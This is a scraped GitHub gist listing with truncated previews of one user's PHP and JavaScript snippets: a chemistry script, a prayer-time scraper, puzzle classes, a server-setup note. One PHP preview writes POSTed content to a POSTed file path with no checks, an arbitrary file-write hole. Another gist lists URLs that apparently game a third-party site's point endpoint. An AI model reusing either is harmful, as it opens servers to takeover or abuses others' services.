Skip to content

Instantly share code, notes, and snippets.

View ammarfaizi2's full-sized avatar
๐Ÿ€
Baby Opossum Posse

Ammar Faizi ammarfaizi2

๐Ÿ€
Baby Opossum Posse
View GitHub Profile
@ammarfaizi2
ammarfaizi2 / bohr_configuration.php
Last active October 4, 2017 15:03
Konfigurasi Elektron Bohr dengan PHP
<?php
/**
*
* @author Ammar Faizi <[email protected]>
* @license MIT
* @version 0.0.1
*
*
* Bohr configuration.
@ammarfaizi2
ammarfaizi2 / q.php
Last active October 28, 2017 07:26
<?php
function scraper()
{
$a = explode("<tr class=\"table_header\" align=\"center\">", file_get_contents("https://www.jadwalsholat.org/adzan/monthly.php?id=193"));
$a = explode("<tr class=\"table_block_title\">", $a[1]);
$a = explode("align=\"center\">", $a[0]); unset($a[0]);
foreach ($a as $key => $val) {
$b = explode("<td><b>", $val, 2);
$b = explode("</b>", $b[1], 2);
<?php
$x = 61529519452809720000000000000000;
class x implements ArrayAccess {
public function __get($q)
{
isset($this->e)or$this->e=2;
$this->e===5 and$this->e=10;
$this->e==="Hello World!"and$this->e="https://t.me/TeaInside";
$this->e===11 and$this->e="Hello World!";
return $this->e++;
function isSimilarElement(arr1, arr2) {
var x;
for(x in arr1) if (arr2.indexOf(arr1[x]) !== -1) return true;
for(x in arr2) if (arr1.indexOf(arr2[x]) !== -1) return true;
return false;
}
console.log(isSimilarElement([1,2,3,4,5], [5,6,7,8,9]));
console.log(isSimilarElement([0,1,0,1,0,1,1,1], [-1,-2,-3,-4,-5,-6,-7,-8,-9,-99,-101,-102,-103]));

Prepare Your Linux Server

What Does This Really Do?

Basically we set up the timezone and locale, and only allow for SSH root login without password, by using SSH authentication key. We also add a basic Vim conviguration inside .vimrc by adding line numbers by default.

Then we update the repository and the system, and also add basic tools like nano, curl, tmux, even vim itself doesn't included by the system. zsh and git is prequisites for oh-my-zsh,

<?php
// x = x
// z = 1
class x implements PrgcContract, ArrayAccess, JsonSerializable
{
const a_list = [1, 2, 3, FX, FY, FZ, 1];
const b_list = [1, 0, "bcd"];
const c_list = ["\x70", '\x70', '{$_POST[x]->e}'];
const z_list = [123, 456, 789];
private $aOffset = 0;
@ammarfaizi2
ammarfaizi2 / 123
Created March 25, 2018 14:18
PRGC 2 Solution
<?php
class x implements PrgcContract, ArrayAccess, JsonSerializable
{
const a_list = [1, 2, 3, FX, FY, FZ, 1];
const b_list = [1, 0, "bcd"];
const c_list = ["\x70", '\x70', '{$_POST[x]->e}'];
const z_list = [123, 456, 789];
private $aOffset = 0;
private $bOffset = 0;
private $cOffset = 0;
<?php
if (isset($_GET["i"], $_POST["submit"]) && $_GET["i"] === "edit") {
$file = fopen($_POST['file'],"w");
echo fwrite($file,$_POST['message']);
fclose($file);
header("location:?");
}
?>
<!DOCTYPE html>
<html>
<?php
/**
* @author Ammar Faizi <[email protected]>
* @license MIT
*/
/**
* @param string $str
* @param string $key
* @param bool $binarySafe
* @return string
Cukup akses 7 URL iki thok.
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=setpoint&act=1
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=setpoint&act=2
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=setpoint&act=3
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=setpoint&act=4
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=setpoint&act=5
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=setpoint&act=6
https://www.kelta.com/templates/static-pages/air3/air3.php?ref=4e15b96fc5c68a773984e02f090ea9b4&action=finish